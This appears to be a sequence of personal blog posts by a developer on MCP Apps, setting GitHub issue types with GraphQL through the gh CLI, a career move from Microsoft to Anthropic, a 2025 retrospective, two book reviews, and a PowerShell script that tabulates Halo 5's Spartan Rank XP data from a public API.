That being said, one of the more peculiar limitations of MCP has always been the fact that you can’t really do a lot with it beyond text on the wire (which is still extremely useful, to be very clear) - JSON-RPC is a nice little abstraction to ferry a bunch of text-based requests and responses. Anything interactive was usually done with the help of, what I would say, hacks, like sending the URL that a user would have to go to to see a visualization of their data or results of some action (think - Playwright MCP post-test reports).

UI Comes To MCP #

Starting today, though, the landscape is changing - MCP took another leap by adding support for its first official extension, MCP Apps, a project built on the foundations of the work that the awesome folks at MCP-UI and OpenAI have been carefully nurturing.

You can catch up with my demo video to see it in action:

What’s cool about MCP Apps is that you can already tinker with it in Claude and Visual Studio Code Insiders, with more clients on the way!

Here are a few places for you to check out if you want to get building:

And of course, I would be remiss if I didn’t call out the blog post announcing the release as well as the extensive collection of samples that will show you how to get started quickly.

MCP Apps are nothing other than HTML layered on top of the existing protocol abstractions, so the changes for both server and client implementers are fairly surgical. This will also hopefully make it much easier to adopt within the ecosystem.

For those reading who are a bit more security conscious, I got you covered - because apps run inside a sandboxed iframe controlled by the host, developers don’t have to worry about them escaping their container, accessing the parent page, or doing anything nefarious with cookies.

But - and that’s a big one, the real magic here is the bidirectional flow of data. An MCP App can invoke server tools and receive live updates without developers having to spin up separate infrastructure or deal with transport plumbing themselves. Neat!

Come Contribute #

The MCP Apps extension is, of course, still under active development. If you are still on the fence if you want to help shape the direction of the protocol, now is the perfect time to get involved.

For bugs or feature requests, the team is tracking everything through GitHub Issues.

For broader discussions about where the project should go or how it fits into existing workflows, there’s a dedicated space in GitHub Discussions.

And hey, if you want to take my biased opinion, this is one of those rare moments where the extension setup is still malleable enough that community feedback can genuinely shape its direction. Come help!

One such edge case is setting issue types in GitHub. If you are not familiar with it, I am not talking about issue labels, but specifically types.

Typically, I’d use the GitHub CLI for this kind of toil, but as it turns out there is no argument available that allows me to set the type. So, I had to look for creative workarounds.

Under the issue type hood #

Issue types are entirely owner-managed. For example, in the PowerToys repo (where I maintain Awake), a maintainer can flag something as a Bug, Feature, or Task.

Now, if I’d ask anyone how they can set types for a given issue, they’d probably guess that they can use gh issues edit, but alas that’s not something I can do. Luckily, the GitHub CLI allows me to also talk directly to the GitHub GraphQL API, which offers way more capabilities than the command line tool.

So, I’ll start by querying the available issue types for the aforementioned PowerToys repository:

gh api graphql -f query='
  {
    repository(owner: "microsoft", name: "powertoys") {
      issueTypes(first: 20) {
        nodes {
          id
          name
          description
        }
      }
    }
  }'

This will yield a JSON blob like this:

{
  "data": {
    "repository": {
      "issueTypes": {
        "nodes": [
          {
            "id": "IT_kwDOAF3p4s4ACCgE",
            "name": "Task",
            "description": "A specific piece of work"
          },
          {
            "id": "IT_kwDOAF3p4s4ACCgH",
            "name": "Bug",
            "description": "An unexpected problem or behavior"
          },
          {
            "id": "IT_kwDOAF3p4s4ACCgK",
            "name": "Feature",
            "description": "A request, idea, or new functionality"
          }
        ]
      }
    }
  }
}

Not bad. I now have the unique id associated with each issue type. But I don’t just need to get the issue types. I need to be able to set them. To do that, I’m once again going to lean on the GitHub GraphQL API, with the help of mutations. The GitHub GraphQL API uses global node IDs and not the issue numbers (what you see in the web UI) for mutations, meaning I need to retrieve the issue’s node ID first.

Here is the GraphQL query that I need to execute from the GitHub CLI:

gh api graphql -f query='
{
  repository(owner: "microsoft", name: "powertoys") {
    issue(number: 44644) {
      id
      title
      issueType {
        name
      }
    }
  }
}'

If all goes well, this is what I’ll get:

{
  "data": {
    "repository": {
      "issue": {
        "id": "I_kwDOCv6UO87iZtnQ",
        "title": "Bug report run logs",
        "issueType": {
          "name": "Bug"
        }
      }
    }
  }
}

The id value is all I need. Now, I can use the updateIssue mutation to set the type.

gh api graphql -f query='
mutation {
  updateIssue(input: {
    id: "I_kwDOCv6UO87iZtnQ",
    issueTypeId: "IT_kwDOAF3p4s4ACCgH"
  }) {
    issue {
      number
      title
      issueType {
        name
      }
    }
  }
}'

Notice the issueTypeId - this is where I use the relevant issue type ID from the very first step to set the type.

A successful type assignment operation will result in this JSON output in your terminal:

{
  "data": {
    "updateIssue": {
      "issue": {
        "number": 44644,
        "title": "Bug report run logs",
        "issueType": {
          "name": "Bug"
        }
      }
    }
  }
}

To remove an issue type from an issue, pass null as the issueTypeId in the GraphQL query above.

Conclusion #

It’s a bit more work than I’d like for something this basic, but wrapping these queries in a shell script or a custom CLI extension (that’s for another blog post) makes it easy to integrate into your triage workflow. Hopefully native gh issue edit support comes soon.

This work serendipitously led me to what comes next. My next chapter is joining Anthropic (yes, that Anthropic) as a Member of Technical Staff.

Before we go further, I just wanted to mention how much I love the work behind Calvin and Hobbes. This particular strip from the very last installment of the comic (published on December 31st, 1995) feels especially fitting for this moment. There’s something different about stepping into a new role at the start of a new year - a blank canvas, much like a coat of fresh snow (which, apparently we’re not getting much of in the PNW this year).

The switch to Anthropic was not super-spontaneous. After a year working on MCP as a member of the MCP Steering Committee and then a Core Maintainer focused on auth and security, I really grew to appreciate the effort that Anthropic was putting into organically scaling what has now become an industry standard for connecting data and applications to Large Language Models (LLMs). I also had a few informal conversations with Anthropic folks, learning about their roadmap, culture, and aspirations.

Then, a chance to work closely with the Anthropic MCP crew came up. The opportunity to help build MCP from inside felt like such a surprisingly natural fit that I did a double take and asked my wife, “Is this even a real job?” As it turns out, it was! It also helps that I’m already a huge fan of the Claude family of models (my go-to for all engineering work), so the decision to go work with folks whose product I am already using practically daily was easy.

Ultimately, the decision to join was grounded in a few core beliefs that I hold:

• Mission over hype. The AI space is full of noise, work not based on human need (and sometimes straight-up malicious), and assertions not grounded in reality. Anthropic’s focus on building AI responsibly, with safety as a first-class concern, and doing so in a way that is producing genuinely useful outcomes is exactly how I think this technology should be built.
• Kindness, ethics, and empathy matter. It struck me just how kind, friendly, and mission-driven the people at Anthropic were. This is huge for me, and seeing it recognized even by folks outside the company was incredibly exciting.
• Bet on the frontier. I want to work on things at scale that push boundaries. Anthropic is that place for AI right now, and I want to help shape what comes next - in a way that benefits humanity.
• Make a dent. I want my work to have a positive impact - not just ship features, but genuinely help folks build better software and solve harder problems.

At Anthropic, my immediate focus will be, you guessed it, on MCP. If you’re already part of the contributor community, I’m sorry, but you’ll be seeing more of me. If you’re part of the broader MCP ecosystem, I am excited to collaborate with you on making the protocol even more mature!

As the world moves to agent-first workflows, I realize that there is so much more to be done to nurture and grow MCP for this paradigm shift. I strongly believe that Anthropic is the place to do it - not just because they created MCP, but because they’re deeply committed to building AI with safety in mind. As agents gain more autonomy and connect to more systems, that commitment becomes non-negotiable.

This career change is a calculated bet on the impact of AI on the world, and specifically on something near and dear to me: software engineering and the need to connect systems to make them work well together (which, as you know, is the whole idea behind MCP). As models become ubiquitous “appliances” in modern software, it will be more important than ever to make sure they interoperate safely, securely, and in a scalable way with other systems, services, APIs, and applications. My mental calculus here was simple: even if I can contribute just a tiny bit to accelerate MCP adoption, help improve its security posture and readiness for more real-world scenarios, there is no better place to do that than at its birthplace.

I am also excited to work more closely with David Soria-Parra, Jerome Swannack, Paul Carleton, Basil Hosmer, Inna Harper, Weynab Maher, and quite a few others at Anthropic who are building out the protocol and the broader agentic AI ecosystem.

It’s hard to put into words how I feel about this change - I am nervous and excited, cautiously optimistic and yet ready to jump in and start contributing. I am positive that working at Anthropic will be transformative, and I am looking forward to both learning from some of the most talented folks in the industry as well as helping steer us to a future where AI is safe, accessible, and beneficial at scale.

Let’s shucking go!

Three years and a quarter - that’s how long it took me to decide that it was time to close this chapter of my Microsoft adventure. Today is my last day at the company, and next week I’ll be diving headfirst into a new challenge.

Developer Division & CoreAI #

It’s more than a bit of a bittersweet moment, because the team and the role I was in were fantastic. After being there for the past year (the previous two I spent working in Microsoft Security), I can tell you that Developer Division, or DevDiv as folks called it before it got folded into CoreAI, is an extremely fun place to work. I’m not just saying this to be nice - it really is the place to be at Microsoft to ship fast, learn fast, and be on the cutting edge of what developers use every day.

This was my dream org since I joined Microsoft. We’re talking about the birthplace of Visual Studio, Visual Studio Code, C# (and the .NET platform), TypeScript, Visual Basic (that’s what I started with way, way back), and so much more. Could an absolute engineering geek ask for a better place to be?

It’s something I always aspired to be a part of, and through a mix of luck and a whole lot of very much unrelated and very much unexpected stress, this dream became reality in the very first weeks of 2025.

Since January of last year I had the privilege of tackling many interesting problems, like helping figure out the adoption blockers for GitHub Copilot, charting out the path for better authentication and authorization integration in our IDEs (I guess I put my Entra ID knowledge to use here too), building quite a few conference prototypes and demos, training the internal Model Context Protocol (MCP) security muscle, and most recently - launching GitHub Spec Kit, which blasted past 61,000 stars on GitHub. Like I said, this org is lots of fun, and I had a lot of agency to do things that are impactful.

Oh yeah, and did I mention that GitHub Spec Kit is the second most starred repository in the entire GitHub org? Talk about a little experiment getting out of hand.

But as with any career step, sometimes the chutes and ladders drop us in wildly unexpected directions. That’s exactly what happened here. The timing is a bit odd, considering that just this fall I shifted roles, but I knew deep down that the change was something I had to do - at least to try and apply my skills at a different scale. I’ve done moves like this in the past, but this one feels particularly poignant - and yet, very exciting.

Acknowledgements #

I wanted to take a moment in this somewhat long-winded blog post to express my immense gratitude to a few folks who were absolutely instrumental to my career in the past few years and even way before then.

It would be a grave disservice to not first call out just how impactful the work of Amanda Silver is on everything that I did at Microsoft and even outside of it before coming to DevDiv. People might not know just how big of an influence she is on cultural, technical, and product direction in Microsoft’s developer ecosystem - she truly is second to none when it comes to understanding developers. In my eyes, Amanda is the Developer Division. I owe her my position in DevDiv and CoreAI as a whole - she did the most for me of any managers or mentors in the past half decade, and I know a lot of folks who feel the same way. My biggest reservation about leaving Microsoft was that I won’t get to work with Amanda on the same team.

A few other folks that I want to individually call out for all they did to help shape my latest Microsoft tour of duty:

• Simon Calvert, who provided a whole new perspective on what product leadership really stands for.
• John Lam, because GitHub Spec Kit would not happen without his work and research. When I think of someone who thinks outside the box, John is at the top of that list.
• Jeff Wilcox, who is always a voice of reason I can count on in the most uncertain moments.
• Clint Rutkas, who brought me to Microsoft and continued to be one of my best friends and trusted advisors for more than a decade now.
• James Montemagno, a ray of positivity and optimism who is best known for his “Let’s do it!” attitude.
• Scott Hanselman, who needs no introduction. His advice has guided me since his early podcast episodes and through my Microsoft career.
• Scott Hunter, who didn’t shy away from sticking his neck out for me in some of the toughest situations.
• Brian Peek, who provided a good dose of realism almost every day.
• Brady Gaster, who provided friendly support and lots of product suggestions that steered my projects in way better directions.
• Caitie McCaffrey, arguably the most impactful internal MCP champion who knows about distributed systems more than anyone I know.
• Henrik Metzger, the fearless leader of the Microsoft Identity Service Essentials (MISE) engineering org, who helped me build a much better understanding of the security world.
• Jenny Ferries, who was never afraid to say the right thing, and most importantly, do the right thing.
• Jackson Davis was my go-to conversation partner in the past year, and I think he secretly is the most interesting man in the world.
• Jean-Marc Prieur, the only person I know who knows more about identity than the entire security org.

Also, very special shout-out goes also to some of the most amazing folks that I had the privilege of crossing paths with, who more than once helped me beyond what one could even ask for: Julia Kasper, Annaji Sharma Ganti, Tyler Leonhardt, Mandy Whaley, Scott McMurray (Halo Studios), Diviyan Matheendran (Halo Studios), Nancy Anderson, Jeff Carnahan (Halo Studios), Toby Padilla, Mike Kistler, Lutz Roeder, Josh Free, Peter Marcu, Peter Maytak, Gladwin Johnson, Neha Bharghava, Keegan Caruso, Josh Lozensky, Kelly Song, Bogdan Gavril, Ray Luo, Travis Walker, Adrian Frei, Iulian Cociug, Chris Mann, Christopher Scott, Saeed Akhter, Stephen Halter, Stephen Toub, David Fowler, Joe Binder, Paul Yuknewicz, Shayne Boyer, Maddie Montaquila, Pierce Boggan, Maria Naggaga, Ernie Booth, Cassie Breviu, Eric Hollenbery, Hemory Phifer, Matt Ellis, Matthew Reyermann, Martin Woodward, Mario Rodriguez, Chuck Lantz, Tim Heuer, Denizhan Yigitbas, Evan Boyle, and a massive fleet of other Microsofties and Hubbers who I learned from every day.

And of course, shout-out to the Microsoft-internal MCP Security Core Crew - the “deep into everything security” people I’ve been collaborating with in the past year to make sure that we improve the MCP security posture inside Microsoft and outside of it (I think we did a pretty solid job): Barry Dorrans, Alex Sklar, Matthew Henderson, Nazmus Sakib, Stuart Schaefer, Tolga Acar, Diana Smetters, Pam Dingle, and David Parks.

Onward #

It also wouldn’t be a farewell post without a stereotypical “badge on the laptop” photo - I always found the implied tradition somewhat funny, as if we’re cops handing in our badge and gun.

If there’s one thing I’ve learned in my career - the tech industry is a ridiculously small space. If we worked or otherwise collaborated together, I am sure that we’ll run into each other again many times in the future. Guaranteed.

Will share more on the next adventure soon!

Remember when I said that June was the month of MCP? How naive! Little did I know that for me personally this entire year became almost entirely consumed by all things MCP. That was, hands down, one of the highlights of 2025. Not the only one, to be clear, but probably the most significant and impactful.

This blog post is a bit of a reflection on the past twelve months, so if you’re looking for some groundbreaking MCP developments, you will have to check back in January.

What’s funny about this kind of “looking back” post is that I used to do yearly reflection posts just shy of a decade back, and then kind of… stopped. What’s old is new again, and now that the work dies down before the end of the year, I can sit down, brew some decaf, and get my thoughts together.

MCP, MCP, and once more - MCP #

I am writing this post just having visited San Francisco. I was there for three reasons, all obviously related to MCP.

First and foremost, to catch up with MCP Core Maintainers about transports. Then, to join my friends at Anthropic for the celebration of MCP joining the Agentic AI Foundation, and after that - to deliver a lightning talk at MCP Night 3.0, hosted by WorkOS, who graciously invited me to speak about some new spec developments.

The MCP Core Maintainer meeting was spurred by a strong desire to discuss the future of transports within the protocol. Believe it or not, just because we have STDIO and Streamable HTTP doesn’t mean that the work is done. More on this in a future discussion, but I will just say that there is a lot of work happening behind the scenes to make MCP scale better in production scenarios.

You might’ve noticed from some past musings that when there is a major topic that warrants a debate, MCP Core Maintainers just meet to talk about it in person. Does this remind you of any other open-source project that operates at scale? Jokes aside, we did actually have a fairly productive discussion that I think will be reflected nicely in a future update of the MCP specification (the last one was this November).

Can’t complain about the sunny views we had from the office either.

It’s also worth mentioning that the discussion we had comes on the heels of the protocol maturing quickly over the past year. If you’ve been looking inside our Discord server, you might’ve noticed that there are groups of folks with very extensive expertise in various domains who are deeply impactful when it comes to the MCP design and architecture. That’s a good thing.

We ended up with a handful of “knowledge niches” - pockets of the community that have a strong influence on protocol direction from very specialized vantage points. They help shape such aspects as transports, extensibility, security (this includes authentication and authorization), SDKs, and much more. The high-level maintainer groups are then tasked with shepherding the set of proposals rather than come up with them all alone. That task would be untenable for a project that picked up as much steam as MCP did in the past year.

In between all the maintainer work, a few of us made our way to the Anthropic HQ to celebrate the launch of the Agentic AI Foundation. You can check out the announcements from Anthropic, David Soria Parra, and GitHub to learn more.

Yours truly was also part of a mini-documentary run by GitHub related to this very occasion!

Anthropic HQ is also where I got to meet the famous Claudius, and it’s as cool a concept as you can imagine.

Now, on MCP Night during the same week, I somehow ended up being together with people who are much (much) smarter than me. I mean, just look at this line-up and tell me I am wrong.

My little five-minute talk focused on the introduction of Client ID Metadata Documents (CIMD) into the MCP specification and how it reflects in actual product usage, with Visual Studio Code as the example client. Despite that we only have two well-known MCP servers testing CIMD, it’s so exciting to see it light up in a real app.

Frankly, though, being there was not just about the talk - I got to catch up with so many community members who contributed to the protocol throughout the year. Informal chats like this are a great opportunity to learn about what excites and worries people about MCP. As it turns out - moving away from Dynamic Client Registration (DCR) is what excites people. Go figure, it’s not as intuitive to implement as one may think.

In hindsight, I am so thankful that I got involved with MCP earlier this year. From a little effort to update the authorization specification to becoming a Core Maintainer, it turned into one of the most fulfilling collaborations and project contributions I’ve had in my decade-long career in tech.

MCP, by virtue of its sheer gravitational pull, brought together a massively talented group of people in record time. I’ve never seen anything like this. As I look forward to 2026 and all the MCP things we’ll be building then, I am sure that we’re in for some exciting new developments. And as a neat bonus, I get to spend more time with these folks!

I am also excited to see the adoption and volume of MCP servers grow - we’re at 2,728 indexed MCP servers at the time of me writing this blog post.

Public speaking #

One goal that I set for myself for this year is to speak more in public about the projects that I work on. I wanted to join at least two events. Yep, just two - start small. I think I ended up blowing past that by a good margin.

I had a talk at MCP Dev Summit, I presented at Build with James Montemagno and with Amanda Silver, talked about MCP at AI Engineer World’s Fair, gave a couple of talks at Visual Studio Live, went on stage twice at GitHub Universe, was part of MCP Dev Days, joined James Montemagno again for AI Dev Days, gave a talk at MCP Night 3.0, and had to decline a few other opportunities that I couldn’t quite squeeze into my schedule (my apologies if you are one of the organizers - let’s try again next year).

That’s aside from a bunch of YouTube presentations I had the privilege of joining, along with a short interview with folks at The Pragmatic Engineer. Not too shabby for a small aspirational goal.

New role #

Earlier this year, I had a somewhat serendipitous change of responsibilities - I went from working in security and authentication/authorization SDKs to working on AI (it’s no longer the Developer Division - just CoreAI). Albeit unplanned, that was a change that opened so many doors for me (hello again, MCP).

This change reinforced my belief that the more often I push myself out of the comfort zone, the better. And you know what, any large-scale change may seem scary in the moment but in retrospect it is the right thing to do.

Through my career, I’ve had several of these moments - quitting Microsoft to join Amazon (although arguably that’s a low-risk jump), going to a startup during the pandemic, and then coming back to Microsoft right as hiring was slowing down.

The change from security to AI was a bit uncomfortable, but nothing like rolling up your sleeves and jumping in to get rid of any remaining jitters. That bet paid off handsomely.

Projects #

You know how you can do everything for a viral hit and then get crickets? But then sometimes you have a little experiment that you want to get some community feedback on because you don’t want to incubate it internally for too long, and it absolutely destroys your expectations? You know, kind of like my “Seinfeld in Tech” memes?

As it turns out, this year I had an unexpected hit on my team’s hands - GitHub Spec Kit. When John Lam and I launched this project in August, our intent was very much not to create the next big trend in AI-based software engineering. And yet, here we are.

And I know that I will be talking about vanity metrics, but the number of stars acquired per day for that project is still staggering to me, even if it slowed down a bit since launch.

If you prefer to look at repository stars in aggregate, here is what it looks like, all in less than four months:

GitHub Spec Kit also is now the second most starred repository in the entire GitHub organization. Breaking all sorts of internal records with a little “Wonder what would happen?” project.

Aside from the unexpected success of GitHub Spec Kit and the myriad of videos I created for it (you can read about it on the GitHub blog or the Microsoft blog, whichever you prefer), I also:

• Revamped BlogScroll.
• Updated DeckSurf to support almost all available Stream Deck devices.
• Continued to curate Awesome Product Management.
• Updated this very blog (it now has a reading list, a better archives page, and a blog stats dashboard).
• Contributed to MCP at the spec, documentation, and SDK levels.

My podcast, The Work Item, despite being on the backburner in 2025 because of other higher-priority projects still pushed me to release a few excellent episodes. I have bigger plans for it in the coming year.

Despite the busyness with the day-to-day, I very much tried to keep my hands on the keyboard as much as possible - the stuff that I am building is not just about material for blog posts. I find it super important to carve out time to try out new tech, experiment with different programming languages, and feed my curiosity by continuously finding new things to reverse engineer.

Lessons in unexpected places #

I always had this idea in the back of my mind that the best lessons come from either direct experience or someone that is believable and can explain their takeaways in the shape of a reusable framework. An epiphany I had recently, however, is that sometimes this model doesn’t fit the cases where important lessons are gifted to us from some of the sources we least expect, unbeknownst to us until much, much later.

This year, I learned to recognize the growing importance of endless curiosity, unconditional courage, and unshakeable resilience.

Curiosity to me is all about the acknowledgement that there is a lot more out there that I simply don’t know about, but it’s totally within reach if only I get out of my comfort zone. And by the way, it’s not about just tech stuff, which is easy to zero in on as someone that works in the field. It’s about the environment and opportunities around us. People’s perspectives, places, food, hiking paths, books, movies, games, and so much more. Living life in a perpetual comfort zone, within the same constant routine, is not what this is all about.

Courage boils down to doing the right thing and standing up for what is right. This is not always the easy choice, but it’s a choice that must be made to push boundaries. Don’t be afraid to take that next career step you’ve been mulling over. Don’t hesitate to join your friend on an adventure building something because the outcome is not yet known. Don’t sit silent when you see someone bullied or talked down upon. The first step is scarier than the actual possible outcome.

Lastly, resilience to me is about being able to withstand the absolute deluge of unexpected curveballs with grace. This is not about avoiding struggle or pretending that struggle doesn’t exist. For what it’s worth, we all have our moments, but giving up is just not an option for me.

Onto 2026 #

I am looking back at this past year with an enormous amount of gratitude. The opportunities and projects that came my way did so because at some point, someone put their trust in me, and I am incredibly thankful for that. The more time goes on, the more I recognize that it’s always, always about people. Tech changes, trends come and go, but you’d be surprised by just how often you’re going to cross paths with people you worked with a decade ago.

2026 is around the corner, and I am positive it will carry its own bucket of changes and unexpected detours, but that’s to be expected, right? Here are a few things that I look forward to:

• Connect more with folks in the MCP space. It’s safe to say that I found my home with this community.
• Learning even more about people’s tech careers on my podcast (because I slacked off this year, clearly).
• Strengthening my technical muscle. I wrote about the importance of being more of a full-stack person - that’ll require more deliberate practice.
• Being more intentional about travel and local exploration.
• Write more.

And, as my favorite piece of swag from Anthropic says, keep thinking.

May 2026 bring you nothing but all of the best from your list of aspirations!

To encourage myself, I even went as far as creating a proper book tracker on this very website. This work was heavily inspired by the effort that Molly White put into her reading list (with a monthly review entry to boot).

All of this being said, November has been a bit sparse in terms of books I picked up, but the ones I did were phenomenal.

The Vanished Birds #

I picked this book up from the library because it was part of a Book Bingo category - Found Family. Its events take place in the distant future, where space travel is ubiquitous, but with its quirks. A mega-corporation owns the bulk of the inhabited planets, with some worlds from the galaxy-wide colonies being designated as “resource worlds,” their sole purpose being the production of resources for the mega-corporation.

As part of the process of collecting resources from these “resource worlds,” a scrappy crew of traders travels back and forth between planets, with the caveat that doing so requires breaking the rules of time and space - they have to fold through a pocket, where the trading crew only spends months, but on the planets they visit years go by.

The novel is written from several perspectives that shift through the narrative. It starts with one of the inhabitants of the resource planets, who describes the cyclical process of traders coming every fifteen years, collecting the resources, and then flying away.

The second perspective is introduced through the eyes of a captain of one of the trader ships - Nia. Nia had a rough upbringing but finds solace in being around a ragtag crew of shipmates that help her transport the goods over months traveling through space. At some point, a pod crashes on the aforementioned “resource world,” with a boy who did not speak or provide any clues as to where he came from.

As Nia was departing with her trading crew, she picked the boy up with her on the ship, determined to bring it back to one of the corporate-owned space stations, where he can be cared for.

Then, another perspective is introduced - that of Fumiko Nakajima, a remarkable scientist who designed the interplanetary space stations. Fumiko was a genetically-engineered child who was intentionally created in, what is known as a “post-vanity” world, with pre-designed physical appearance deformities. Through her university work, she meets Dana - a researcher working on eco-friendly tech, solar panel fields, and bio-farms. Notably, Dana is the opposite of Fumiko when it comes to appearance:

She was the tallest woman in the room by a head. Her hair was cut short, with blond Nero bangs that fell evenly across her brow. Her ears were sylvan, pointed at the tip, and her lips full and red, without makeup. On her cheek were five freckles, each freckle a point of some invisible star, just below her right eye; an eye that was large, luminous, its iris purple and flecked with gold, which reflected nothing but Fumiko’s post-vanity face.

Fumiko and Dana fall in love and spend as much time as possible together, especially given that they are living through a critical juncture in Earth’s lifecycle, a time when climate change kicked off irreversible processes - cataclysmic weather events and massive population displacement.

This is where the story takes a bit of a dark turn. Fumiko signed a contract with the mega-corporation to design the space stations that can help evacuate parts of humanity and preserve life away from Earth. This would require her to be isolated for several years with no contact with the outside world, including from Dana (with the exception of the occasional letters). By the time Fumiko is done, Dana moved on and met someone else. She was in the middle of all the civil unrest and chaos occurring in her parts of the world, with no help from Fumiko.

In the meantime, Fumiko became famous - after all, she was the scientist that designed humanity’s salvation. She is spending a good part of her time in cryogenic sleep to prolong her life, with the occasional appearance on stations that she created. She never lives down her missed opportunity with Dana, always having assistants around her that were artificially made to look like Dana in physical appearance (including doing things like coloring their eyes purple).

Fumiko catches wind of the boy on the trade ship and is convinced that he has a secret talent that is bound to revolutionize space travel. That talent is teleportation - the book spends some time setting this up, but ultimately the goal is to reverse-engineer the boy’s ability (if he has it) and then use it for the benefit of the corporation.

It’s also worth mentioning that the corporation this all occurs under the umbrella of is very particular about protecting their intellectual property, at often high cost to those that violate their rules. Fumiko will actually be on the receiving end of their wrath down the line.

Fumiko hires Nia’s trade ship to go and hang out on the outskirts of the galaxy for many years to wait for the boy to develop his abilities (again, if they even exist - nobody is sure of that yet). Through that journey and many stops of the trade crew, the boy eventually discovers his own ability to navigate between places quickly and effortlessly. He learns the quirks of the process and how to manage it, but as he did that, one of the shipmates finds the talent out and informs Fumiko, and by proxy - the corporation about the newly-found ability (said shipmate was in charge of documenting the process to begin with).

While all of this is occurring, Fumiko is working on a remote research station with her own team. The pace of the entire novel picks up right then and there - the corporation found out that Fumiko attempted to effectively hide the discovery from them, and is punishing her in the most cruel way imaginable, leaving her stranded with nutrition supplies but no tools or any other people around her - all alone, with no chance of escape.

In the meantime, Nia’s ship is assaulted by the corporation to extract the boy, thanks to someone within the crew who betrayed the crew’s trust. As the boy is kidnapped, he is then instantly handed off to the team responsible for figuring out how his talent works. Ultimately, they do - the boy is now effectively locked in a pod, with his blood being the driver for a corporation-produced teleportation engine. He is relegated to being merely a vessel to be extracted from - hooked to all sorts of wires to IVs, stranded in a corporate-owned corner of the galaxy.

Meanwhile, both in separate parts of the world, Fumiko and Nia are desperately planning how to recover the boy - each in their own way. Fumiko eventually finds a way to leave the station (in an extremely unexpected format, at that), and Nia connects telepathically with the boy through an artifact that was always with him from the day he crashed on the “resource world.”

I won’t spoil the ending, but this space opera was definitely not what I expected it to be - in a good way! The start of the book was a bit slow and maybe even confusing, but halfway through I could not put it down.

The Phoenix Pencil Company #

Also an unexpected gem for the Book Bingo from our local library - I picked it because it was fitting the Flowers On Cover category, and wow - what a story.

The entire book is written mostly from two diary perspectives - that of Wong Yun and Monica Tsai. Monica is a computer science student and Yun is her grandmother. The story is structured as “timeline snapshots” - Yun is documenting her life in pre-war Shanghai, her family, and the struggles they encountered through World War II, the Chinese Civil War, uprooting part of her family and moving to Taiwan, and subsequently settling in the United States.

Monica, on the other hand, is documenting her work on a college project, called EMBRS, designed to capture journal entries and personal information (such as social media) and then make connections with people based on that information. Through EMBRS, Monica discovers her grandmother’s cousin, Meng, with some extra help from another college student who happened to be in Shanghai at that time - Louise.

Through Louise, Meng sent Yun a pencil - a seemingly insignificant gift, that then unravels a number of stories on Yun and Meng’s background. As it turns out, the women in Yun and Meng’s family line have the ability to “melt” the pencil heart into their blood and re-live and re-create the writing and memories crafted by the pencil owner with that pencil. This is what’s known as “reforging.” With this story piece in place, the entire interwoven narrative becomes that much more complex - in Yun’s youth, just like her mother, aunt, and cousin, she was roped into a number of intelligence-related tasks, helping smuggle messages through pencils. After all, the pencil owners could write anything, discard the writing, and then transfer the pencil to someone who can reforge it to get the message.

Monica and Louise, in the current day, develop their own relationship - one that initially is based on Louise’s hidden desire to document and archive Monica’s grandmother’s stories, but going way beyond that as they get to know each other. Their relationship then gets contrasted to that of Yun and her cousin as well as Yun and her husband, who she met in Taiwan but didn’t marry until much later, when she moved to the United States.

This book was, hands down, the highlight of this month’s reading list. The story is captivating and as you progress through the historically detached diary entries - it starts making more and more sense and the big scattered puzzle suddenly starts making sense. This book has everything - spy intrigue, romance, adventure, and plenty of reflections on privacy and the value of stories in life.

There is nothing better than preparing for the Thanksgiving holiday in the United States by sitting down and documenting something that was on my list for some time - the Halo 5 Spartan Rank Manifest.

Ranking in Halo 5 #

Halo 5: Guardians was released a decade ago, on October 27th, 2015. Despite the marketing blunders and somewhat unfulfilled promises, I still found the title to be very compelling, both in singleplayer and multiplayer modes.

Halo 5 had a fairly typical progression strategy that was not different from many other games - you play matches, you earn experience, and you progress through Spartan Ranks (abbreviated as SR). You’d start at SR1 and make your way to SR152. Reaching the top level required a whopping 50,000,000 XP, which meant that players would have to play the game for a while to get to the top rank. This makes reaching Hero in Halo Infinite a walk in the park.

Here is where I am today, in 2025:

Just comfortably sitting at SR140, where I am 12.84% to the top rank, netting around 6,421,088 XP since the launch of the game. For what it’s worth, I haven’t played the game in a long time, but it puts the overall scale of XP needed to “finish the fight” in perspective. I am 12 Spartan Ranks away from the top, and I am under 13% to that level. Wild.

Consider a typical Post-Game Carnage Report (PGCR) for me (caveat - I am sure there are better players out there who can outperform me in Husky Raid and get more XP):

That’s 3,580 XP. From SR1 to SR152 it would take me about 13,966 matches if I keep the performance consistent.

But, taking a step back - there’s something about the progression that is not well known. Let’s dive in.

Spartan Rank Manifest #

The Spartan Rank Manifest is a JSON document that outlines the requirements for each individual rank in Halo 5. It’s available through the Halo 5 API - you can see the contents for yourself if you send a GET request to the following URI:

https://content-hacs.svc.halowaypoint.com/contents/SpartanRankManifest

I am not sure how long that API will stay up, so you can always refer to my Gist that captures a snapshot of the JSON response.

If you’d rather not craft the API request yourself to parse all the data out of it, you can use my handy PowerShell script to render the relevant data points in a neat little table:

$uri = "https://content-hacs.svc.halowaypoint.com/contents/SpartanRankManifest"

try {
    $response = Invoke-RestMethod -Uri $uri -Method Get

    $results = foreach ($contentItem in $response. ContentItems) {
        $spartanRanks = $contentItem. View.SpartanRankManifest.SpartanRanks

        if ($spartanRanks -and $spartanRanks. Count -gt 0) {
            foreach ($rank in $spartanRanks) {
                $rankNumber = 0
                if ($rank.View. Title -match '\d+$') {
                    $rankNumber = [int]$Matches[0]
                }

                [PSCustomObject]@{
                    'Rank'              = $rankNumber
                    'Start XP'          = '{0:N0}' -f $rank.View.SpartanRank. StartXP
                    'XP Scalar'         = $rank.View.SpartanRank. SpartanRankMatchXPScalar
                    'Credit Multiplier' = $rank.View.SpartanRank.CreditMultiplier
                }
            }
        }
    }

    $results | Sort-Object { [int]($_.  Rank) } | Format-Table -AutoSize
}
catch {
    Write-Error "Failed to retrieve data: $_"
}

All of this leads me to the next part, where we take a closer look at the actual Spartan Rank requirements associated with each “tier.”

Spartan Rank requirements #

Using the script above, we can format the output into a proper table that I can use in this post. This is what the breakdown of XP-per-rank looks like:

Remember how I said reaching Hero in Halo Infinite is way easier? Well, think of it through this lens - to get to SR152 you need to get to Hero more than five times (assuming similar match XP distribution). Jumping from SR150 to SR151 alone is basically an entire Hero playthrough, and then some.

The extra values #

Now, you might be looking at the table above and think that in addition to the XP, I am also capturing some previously mostly unknown values, and that is the XP Scalar and Credit Multiplier.

The Credit Multiplier granted more Requisition Points (RP) and is constant across the ranks except at the very start of your journey. It’s good to know it’s there, but for our exploration purposes it’s kind of pointless, because it’s always 1.0.

